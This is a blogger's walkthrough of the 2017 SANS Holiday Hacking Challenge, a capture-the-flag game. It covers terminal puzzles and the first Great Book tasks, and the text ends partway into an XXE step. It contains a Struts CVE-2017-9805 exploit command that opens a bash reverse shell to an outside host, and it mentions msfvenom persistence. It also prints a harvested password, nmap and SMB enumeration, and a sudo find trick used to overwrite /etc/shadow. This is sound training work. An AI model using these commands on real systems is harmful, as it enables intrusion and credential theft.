2017 SANS Holiday Hacking Challenge
Post

2017 SANS Holiday Hacking Challenge

Preview Image

This year, I’ve had the chance to participate in SANS Holiday Hacking Challenge. The first time I did it was last year. I didn’t think it was interesting with real pentesting stuffs until I read the writeups, so I decided to start early this year.

Terminal Challenges

Finding Great Book Pages

Things I’ve learned

Terminal Challenges

WINTER WONDER LANDING

Linux command hijacking

Click on the terminal, we are presented with the object: to find elftalkd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                                 |
                               \ ' /
                             -- (*) --
                                >*<
                               >0<@<
                              >>>@<<*
                             >@>*<0<<<
                            >*>>@<<<@<<
                           >@>>0<<<*<<@<
                          >*>>0<<@<<<@<<<
                         >@>>*<<@<>*<<0<*<
           \*/          >0>>*<<@<>0><<*<@<<
       ___\\U//___     >*>>@><0<<*>>@><*<0<<
       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<  
       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
       |\\_|_|&&_// ||*.*.*.*|_\\db//_               
       """"|'.'.'.|~~|.*.*.*|     ____|_
           |'.'.'.|   ^^^^^^|____|>>>>>>|
           ~~~~~~~~         '""""`------'
My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?
Find and run the elftalkd binary to complete this challenge.

Let’s try using find:

1
2
3
elf@5e210ec83121:/run/elftalk/bin$ find / -xdev -iname "*elftalkd*"
bash: /usr/local/bin/find: cannot execute binary file: Exec format error

No surprise. Let’s use ls to find this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elf@5e210ec83121:/tmp$ ls -laR / | grep -B 10 elftalkd
ls: cannot open directory '/proc/tty/driver': Permission denied
ls: cannot open directory '/root': Permission denied
/run/elftalk:
total 12
drwxr-xr-x 1 root root 4096 Dec  4 14:32 .
drwxr-xr-x 1 root root 4096 Dec  4 14:32 ..
drwxr-xr-x 1 root root 4096 Dec  4 14:32 bin
/run/elftalk/bin:
total 7224
drwxr-xr-x 1 root root    4096 Dec  4 14:32 .
drwxr-xr-x 1 root root    4096 Dec  4 14:32 ..
-rwxr-xr-x 1 root root 7385168 Dec  4 14:29 elftalkd
ls: cannot open directory '/var/cache/apt/archives/partial': Permission denied
ls: cannot open directory '/var/cache/ldconfig': Permission denied
ls: cannot open directory '/var/lib/apt/lists/partial': Permission denied

There we go. The binary is in /run/elftalk/bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elf@466dc314ba46:~$ /run/elftalk/bin/elftalkd 
        Running in interactive mode
        --== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
      _  __ _        _ _       _ 
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337) 
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

CRYOKINETIC MAGIC

Candy Cane Striper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
                     ___
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ```````    '-...--'`
My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.
Run the CandyCaneStriper executable to complete this challenge.

This time we are prompted to run a binary. It has no execute permission and we cannot set this permission for the binary as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
elf@b83c138c0b53:~$ ls -la
total 68
drwxr-xr-x 1 elf  elf   4096 Dec 15 20:00 .
drwxr-xr-x 1 root root  4096 Dec  5 19:31 ..
-rw-r--r-- 1 elf  elf    220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root  3143 Dec 15 19:59 .bashrc
-rw-r--r-- 1 elf  elf    655 May 16  2017 .profile
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
elf@b83c138c0b53:~$ chmod +x CandyCaneStriper 
elf@b83c138c0b53:~$ ls -la
total 68
drwxr-xr-x 1 elf  elf   4096 Dec 15 20:00 .
drwxr-xr-x 1 root root  4096 Dec  5 19:31 ..
-rw-r--r-- 1 elf  elf    220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root  3143 Dec 15 19:59 .bashrc
-rw-r--r-- 1 elf  elf    655 May 16  2017 .profile
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper

Refer to the tweet from Holly the Elf, I found a hint to the solution: https://twitter.com/GreenesterElf/status/938542480487677952 This is a 64-bit machine, so we need to find the linker at /lib64/ld-linux-x86-64.so.2. Let’s try this out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elf@b83c138c0b53:~$ /lib64/ld-linux-x86-64.so.2 /home/elf/CandyCaneStriper 
                   _..._
                 .'\\ //`,      
                /\\.'``'.=",
               / \/     ;==|
              /\\/    .'\`,`
             / \/     `""`
            /\\/
           /\\/
          /\ /
         /\\/
        /`\/
        \\/
         `
The candy cane striping machine is up and running!

WINCONCEIVABLE: THE CLIFFS OF WINSANITY

The troublesome process termination

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
                ___,@
               /  <
          ,_  /    \  _,
      ?    \`/______\`/
   ,_(_).  |; (e  e) ;|
    \___ \ \/\   7  /\/    _\8/_
        \/\   \'=='/      | /| /|
         \ \___)--(_______|//|//|
          \___  ()  _____/|/_|/_|
             /  ()  \    `----'
            /   ()   \
           '-.______.-'
   jgs   _    |_||_|    _
        (@____) || (____@)
         \______||______/
My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.

Let’s examine the running processes

1
2
3
4
5
6
7
8
elf@f22c16457eec:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elf          1  0.0  0.0  18028  2764 pts/0    Ss   06:31   0:00 /bin/bash /sbin/init
elf          8  0.0  0.0   4224   740 pts/0    S    06:32   0:00 /usr/bin/santaslittlehelperd
elf         11  0.1  0.0  13528  6404 pts/0    S    06:32   0:00 /sbin/kworker
elf         12  0.0  0.0  18248  3168 pts/0    S    06:32   0:00 /bin/bash
elf         18  0.7  0.0  71468 26544 pts/0    S    06:32   0:00 /sbin/kworker
elf         74  0.0  0.0  34424  2860 pts/0    R+   06:32   0:00 ps aux

I then tried to kill the process using the kill command. I did used the wrong syntax but no error popped out and the process wasn’t killed either.

1
2
3
4
5
6
7
8
9
elf@f22c16457eec:~$ kill -9 pidof santaslittlehelperd
elf@f22c16457eec:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elf          1  0.0  0.0  18028  2764 pts/0    Ss   06:31   0:00 /bin/bash /sbin/init
elf          8  0.0  0.0   4224   740 pts/0    S    06:32   0:00 /usr/bin/santaslittlehelperd
elf         11  0.1  0.0  13528  6404 pts/0    S    06:32   0:00 /sbin/kworker
elf         12  0.0  0.0  18248  3288 pts/0    S    06:32   0:00 /bin/bash
elf         18  0.5  0.0  71468 26544 pts/0    S    06:32   0:00 /sbin/kworker
elf        100  0.0  0.0  34424  2800 pts/0    R+   06:33   0:00 ps aux

I then referred to the hint on Sparkle tweet: alias

1
2
3
4
5
6
7
8
9
10
11
12
13
14
elf@f22c16457eec:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*ale
rt$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias kill='true'
alias killall='true'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pkill='true'
alias skill='true'

So there was an alias of kill, making the command useless. I just needed to unalias these and kill the process easily

1
2
3
4
5
6
7
8
elf@f22c16457eec:~$ unalias -a
elf@f22c16457eec:~$ alias
elf@f22c16457eec:~$ kill -9 `pidof santaslittlehelperd`
elf@f22c16457eec:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elf          1  0.0  0.0  18028  2764 pts/0    Ss   06:31   0:00 /bin/bash /sbin/init
elf         12  0.0  0.0  18248  3288 pts/0    S    06:32   0:00 /bin/bash
elf        192  0.0  0.0  34424  2912 pts/0    R+   06:34   0:00 ps aux

THERE’S SNOW PLACE LIKE HOME

Train Startup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                             ______
                          .-"""".._'.       _,##
                   _..__ |.-"""-.|  |   _,##'`-._
                  (_____)||_____||  |_,##'`-._,##'`
                  _|   |.;-""-.  |  |#'`-._,##'`
               _.;_ `--' `\    \ |.'`\._,##'`
              /.-.\ `\     |.-";.`_, |##'`
              |\__/   | _..;__  |'-' /
              '.____.'_.-`)\--' /'-'`
               //||\\(_.-'_,'-'`
             (`-...-')_,##'`
      jgs _,##`-..,-;##`
       _,##'`-._,##'`
    _,##'`-._,##'`
      `-._,##'`
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.
total 444
-rwxr-xr-x 1 root root 454636 Dec  7 18:43 trainstartup

We are prompted to run a binary. Let’s see which architecture this binary is:

1
2
3
elf@f533c87441b9:~$ file trainstartup 
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3
e0be7d6fdd7ed732eb, not stripped

So this is an ARM binary. There is qemu-arm on the machine. Just gotta use it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elf@f533c87441b9:~$ qemu-arm ./trainstartup

    Merry Christmas
    Merry Christmas
v
>*<
^
/o\
/   \               @.·
/~~   \                .
/ ° ~~  \         · .    
/      ~~ \       ◆  ·    
/     °   ~~\    ·     0
/~~           \   .─··─ · o
             /°  ~~  .*· · . \  ├──┼──┤                                        
              │  ──┬─°─┬─°─°─°─ └──┴──┘                                        
≠========──┼──=≠     ≠====================================≠
              │   /└───┘\┌───┐       ┌┐                                        
                         └───┘    /▒▒▒▒                                        
≠=======================°≠=°≠==========================≠
You did it! Thank you!

BLUMBLES BOUNCE

Web Log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                           ._    _.
                           (_)  (_)                  <> \  / <>
                            .\::/.                   \_\/  \/_/ 
           .:.          _.=._\\//_.=._                  \\//
      ..   \o/   ..      '=' //\\ '='             _<>_\_\<>/_/_<>_
      :o|   |   |o:         '/::\'                 <> / /<>\ \ <>
       ~ '. ' .' ~         (_)  (_)      _    _       _ //\\ _
           >O<             '      '     /_/  \_\     / /\  /\ \
       _ .' . '. _                        \\//       <> /  \ <>
      :o|   |   |o:                   /\_\\><//_/\
      ''   /o\   ''     '.|  |.'      \/ //><\\ \/
           ':'        . ~~\  /~~ .       _//\\_
jgs                   _\_._\/_._/_      \_\  /_/ 
                       / ' /\ ' \                   \o/
       o              ' __/  \__ '              _o/.:|:.\o_
  o    :    o         ' .'|  |'.                  .\:|:/.
    '.\'/.'                 .                 -=>>::>o<::<<=-
    :->@<-:                 :                   _ '/:|:\' _
    .'/.\'.           '.___/*\___.'              o\':|:'/o 
  o    :    o           \* \ / */                   /o\
       o                 >--X--<
                        /*_/ \_*\
                      .'   \*/   '.
                            :
                            '
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.

One-liner:

1
cat access.log | grep GET | cut -d'"' -f 6 | sort | uniq -c  | sort | head -n 1

Result:

1
2
3
4
elf@474bcdbda1dd:~$ ./runtoanswer 
Starting up, please wait......
Enter the name of the least popular browser in the web log: Dillo/3.0.5
That is the least common browser in the web log! Congratulations!

I DON’T THINK WE’RE IN KANSAS ANYMORE

Christmas Songs data analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
                       *
                      .~'
                     O'~..
                    ~'O'~..
                   ~'O'~..~'
                  O'~..~'O'~.
                 .~'O'~..~'O'~
                ..~'O'~..~'O'~.
               .~'O'~..~'O'~..~'
              O'~..~'O'~..~'O'~..
             ~'O'~..~'O'~..~'O'~..
            ~'O'~..~'O'~..~'O'~..~'
           O'~..~'O'~..~'O'~..~'O'~.
          .~'O'~..~'O'~..~'O'~..~'O'~
         ..~'O'~..~'O'~..~'O'~..~'O'~.
        .~'O'~..~'O'~..~'O'~..~'O'~..~'
       O'~..~'O'~..~'O'~..~'O'~..~'O'~..
      ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
     ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
    O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
   .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~
  ..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
 .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.
total 20684
-rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root  5197352 Dec  7 15:10 runtoanswer

To get the ID of the most popular song, I need to count the number of likes for each unique ID and then sort them in descending order. One way to do this is:

1
select count(songid) count, songid from likes group by songid order by count desc limit 10;
1
2
3
4
5
6
7
8
9
10
11
sqlite> select count(songid) count, songid from likes group by songid order by count desc limit 10;
11325|392
2162|245
2140|265
2132|207
2129|98
2126|90
2122|33
2120|130
2117|18
2117|446
1
2
3
4
5
6
7
sqlite> select * from songs where id = 392;
392|Stairway to Heaven|Led Zeppelin|1971|"Stairway to Heaven" is a song by the English rock band Led Zeppelin, released in late 1971. It was composed by guitarist Jimmy Page and vocalist Robert Plant for the band's untitled fourth studio album (often called Led Zeppelin IV). It is often referred to as one of the greatest rock songs of all time.

sqlite> .shell ./runtoanswer 
Starting up, please wait......
Enter the name of the song with the most likes: Stairway to Heaven
That is the #1 Christmas song, congratulations!

OH WAIT! MAYBE WE ARE…

Shadow File Restoration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
              \ /
            -->*<--
              /o\
             /_\_\
            /_/_0_\
           /_o_\_\_\
          /_/_/_/_/o\
         /@\_\_\@\_\_\
        /_/_/O/_/_/_/_\
       /_\_\_\_\_\o\_\_\
      /_/0/_/_/_0_/_/@/_\
     /_\_\_\_\_\_\_\_\_\_\
    /_/o/_/_/@/_/_/o/_/0/_\
   jgs       [___]  
My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.
Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_b
ox" to complete this challenge.
Hint: What commands can you run with sudo?

Let’s see what commands can be run with sudo

1
2
3
4
5
6
7
8
9
10
elf@e4490931c153:~$ sudo -ll
Matching Defaults entries for elf on e4490931c153:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on e4490931c153:
Sudoers entry:
    RunAsUsers: elf
    RunAsGroups: shadow
    Options: !authenticate
    Commands:
        /usr/bin/find

Have been tinkering with find for a while, I know it can execute commands on the results using the -exec flag, but I wasn’t sure with what privileges it will execute the commands. These are the shadow files in /etc

1
2
3
4
elf@72830e537580:~$ ls -la /etc/shadow*
-rw-rw---- 1 root shadow   0 Dec 15 20:00 /etc/shadow
-rw------- 1 root root   652 Nov 14 13:48 /etc/shadow-
-rw-r--r-- 1 root root   677 Dec 15 19:59 /etc/shadow.bak

The file we need to restore belongs to the shadow group and it has read+write group permission. My solution is to let find find this file (no pun intended) and then copy the backup shadow file over it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elf@72830e537580:~$ sudo -g shadow find /etc/shadow -exec cp /etc/shadow.bak {} \;
elf@72830e537580:~$ ls -la /etc/shadow*
-rw-rw---- 1 root shadow 677 Jan  6 10:23 /etc/shadow
-rw------- 1 root root   652 Nov 14 13:48 /etc/shadow-
-rw-r--r-- 1 root root   677 Dec 15 19:59 /etc/shadow.bak
elf@72830e537580:~$ inspect_da_box 
                     ___
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ```````    '-...--'`
/etc/shadow has been successfully restored!

WE’RE OFF TO SEE THE…

LD_PRELOAD hooking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
                 .--._.--.--.__.--.--.__.--.--.__.--.--._.--.
               _(_      _Y_      _Y_      _Y_      _Y_      _)_
              [___]    [___]    [___]    [___]    [___]    [___]
              /:' \    /:' \    /:' \    /:' \    /:' \    /:' \
             |::   |  |::   |  |::   |  |::   |  |::   |  |::   |
             \::.  /  \::.  /  \::.  /  \::.  /  \::.  /  \::.  /
         jgs  \::./    \::./    \::./    \::./    \::./    \::./
               '='      '='      '='      '='      '='      '='
Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.
total 88
-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root   654 Dec 15 19:59 isit42.c.un

To produce the expected result when running the binary, we’ll need to make a shared object and specify it in the LD_PRELOAD environment variable. In this shared object, we can rewrite the rand() function used in the binary isit42 so that it always return 42.

hijack.c:

1
2
3
int rand() {
        return 42;
}

Compile the above code to a shared object:

1
gcc -o libc.so.6 -shared -fPIC hijack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
elf@419cb8f6de23:~$ LD_PRELOAD=./libc.so.6 ./isit42 
Starting up ... done.
Calling rand() to select a random number.
                 .-. 
                .;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______ 
               /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
              /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
            |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_ 
        ,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
         \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
         | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|
          \/|(_) () (_)|\/ 
            \   '()'   /            ______    _______  _______  ___      ___      __   __    ___   _______ 
            _:.______.;_           |    _ |  |       ||   _   ||   |    |   |    |  | |  |  |   | |       |
          /| | /`\/`\ | |\         |   | ||  |    ___||  |_|  ||   |    |   |    |  |_|  |  |   | |  _____|
         / | | \_/\_/ | | \        |   |_||_ |   |___ |       ||   |    |   |    |       |  |   | | |_____ 
        /  |o`""""""""`o|  \       |    __  ||    ___||       ||   |___ |   |___ |_     _|  |   | |_____  |
       `.__/     ()     \__.'      |   |  | ||   |___ |   _   ||       ||       |  |   |    |   |  _____| |
       |  | ___      ___ |  |      |___|  |_||_______||__| |__||_______||_______|  |___|    |___| |_______|
       /  \|---|    |---|/  \ 
       |  (|42 | () | DA|)  |       _   ___  _______ 
       \  /;---'    '---;\  /      | | |   ||       |
        `` \ ___ /\ ___ / ``       | |_|   ||____   |
            `|  |  |  |`           |       | ____|  |
      jgs    |  |  |  |            |___    || ______| ___ 
       _._  |\|\/||\/|/|  _._          |   || |_____ |   |
      / .-\ |~~~~||~~~~| /-. \         |___||_______||___|
      | \__.'    ||    '.__/ |
       `---------''---------` 
Congratulations! You've won, and have successfully completed this challenge.

Finding Pages of the Great Book

1. Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

This is done during the game. The title of the page is About This Book.

2. Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password

For hints associated with this challenge, Sparkle Redberry in the Winconceivable: The Cliffs of Winsanity Level can provide some tips.

tl;dr:

  • The topic of the page is On the topic of Flying Animals.
  • The password is stream_unhappy_buy_loss.

Visit the Lettes to Santa application and read the source code, I encountered an interesting hidden field on line 243

1
2
<!-- Development version -->
    <a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>

Proceed to the site above and read the source code, I encountered another interesting information about the backend component of this application

1
2
    <div id="the-footer"><p class="center-it">Powered By: <a href="https://struts.apache.org/">Apache Struts</a></p></div>
    <!-- Friend over at Equal-facts Inc recommended this framework-->

So there is a chance that the application uses Apache Struts and the exploit is related to the Equifax Hack.

Hint 6: That business with Equal-Facts Inc was really unfortunate. I understand there are a lot of different exploits available for those vulnerable systems. Fortunately, Alabaster said he tested for CVE-2017-5638 and it was NOT vulnerable. Hope he checked the others too.

Hint 7: Apache Struts uses XML. I always had problems making proper XML formatting because of special characters. I either had to encode my data or escape the characters properly so the XML wouldn’t break. I actually just checked and there are lots of different exploits out there for vulnerable systems. Here is a useful article.

Hint 8: Pro developer tip: Sometimes developers hard code credentials into their development files. Never do this, or at least make sure you take them out before publishing them or putting them into production. You also should avoid reusing credentials for different services, even on the same system.

In order to get a reverse shell, I need to have a public IP address. On Kali box:

1
nc -lvp 443

To exploit:

1
python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders/542 -c "bash -i >& /dev/tcp/<public-ip-goes-here>/443 0>&1"

It took me a long time after getting the shell to find the password because I overlooked the result coming from grep and things doesn’t work well over this netcat shell. I decided to setup persistence and upgraded my shell using msfvenom reverse_tcp shell.

While trying to get Alabaster Snowball’s password, the only place I can think of to have password is the tomcat manager. The application is located in /opt/apache-tomcat. I looked into tomcat_users.xml but no luck. After a few hours trying to grep with keywords like pass, password, alabaster, I was able to find the password in apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class.

1
2
3
4
5
6
7
public class Connect {
            final String host = "localhost";
            final String username = "alabaster_snowball";
            final String password = "stream_unhappy_buy_loss";   
            String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
            Connection connection = null;
            Statement statement = null;

Password: stream_unhappy_buy_loss

Note on this part:

  • The netcat shell initially had really limited capabilities. I needed to change the PATH environment variable to be able to use more commands
  • The file GreatBookPage2.pdf was right on the root of https://l2s.northpolechristmastown.com/. I didn’t figure that out until I got the shell and was poking around with the application.

NEVER HARDCODE PASSWORDS!

3. The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

For hints, please see Holly Evergreen in the Cryokinetic Magic Level.

tl;dr:

  • The file share name is FileStor.

I made a mistake on this part, which took me a while to figure out the correct smb server. I read over the hint about host discovery and did a normal nmap scan, which is sure to miss the correct smb server.

The right way to do the nmap was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -v -PS445 10.142.0.0/24

Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00056s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00018s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

The correct smb server is 10.142.0.7. Since the victim machine (in #2) doesn’t have smbclient on it, I need to setup a SSH port forward so that I can access the share from my kali box.

1
ssh -L 445:10.142.0.7:445 [email protected]

I am then able to list the shares.

1
2
3
4
5
6
7
8
9
10
11
12
13
smbclient -L 127.0.0.1 -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\alabaster_snowball's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        FileStor        Disk
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 127.0.01 failed (Error NT_STATUS_CONNECTION_REFUSED)
Failed to connect with SMB1 -- no workgroup available

The files are stored in FileStor

1
2
3
4
5
6
7
8
9
10
11
12
smbclient \\\\127.0.0.1\\FileStor -U alabaster_snowball

smb: \> ls
  .                                   D        0  Mon Jan  8 14:31:53 2018
  ..                                  D        0  Mon Jan  8 14:31:53 2018
  BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 21:44:17 2017
  GreatBookPage3.pdf                  A  1275756  Mon Dec  4 19:21:44 2017
  MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 21:47:28 2017
  Naughty and Nice List.csv           A    10245  Thu Nov 30 19:42:00 2017
  Naughty and Nice List.docx          A    60344  Wed Dec  6 21:51:25 2017

                13106687 blocks of size 4096. 9624205 

4. Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?

Pepper Minstix provides some hints for this challenge on the There’s Snow Place Like Home Level.

I didn’t finish this one. However, I did found interesting stuffs.

According to the hints, there is something to do with hiding things from search engines. I then proceeded to check out robots.txt

1
2
User-agent: *
Disallow: /cookie.txt

cookie.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//FOUND THESE FOR creating and validating cookies. Going to use this in node js
    function cookie_maker(username, callback){
        var key = 'need to put any length key in here';
        //randomly generates a string of 5 characters
        var plaintext = rando_string(5)
        //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
        //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
        var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
        //Setting the values of the cookie.
        var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext,  "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
        return callback(acookie);
    };
    function cookie_checker(req, callback){
        try{
            var key = 'need to put any length key in here';
            //Retrieving the cookie from the request headers and parsing it as JSON
            var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
            //Retrieving the cipher text 
            var ciphertext = thecookie.ciphertext;
            //Retrievingin the username
            var username = thecookie.name
            //retrieving the plaintext
            var plaintext = aes256.decrypt(key, ciphertext);
            //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
            if (plaintext === thecookie.plaintext) {
                return callback(true, username);
            } else {
                return callback(false, '');
            }
        } catch (e) {
            console.log(e);
            return callback(false, '');
        }
    };

6. The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

For hints on this challenge, please consult with Sugarplum Mary in the North Pole and Beyond.

tl;dr:

  • The title of the page is The Dreaded Inter-dimensional Tornadoes.

For this part, I also needed to do a SSH tunnel to access the site from my localhost. Visiting the site, We are presented with a web application with the following functionalities:

  • Upload and display an XML file with the corresponding fields: http://eaas.northpolechristmastown.com/Home/DisplayXML
  • Reset the XML file to the default one: http://eaas.northpolechristmastown.com/Home/CreateElfs
  • A sample XML file at: http://eaas.northpolechristmastown.com/XMLFile/Elfdata.xml

Following the hints, I carried out a XXE with DTD exploit on the application. This time, I need a public IP address again so that the application is able to access the malicious DTD from my server. The setup goes as following:

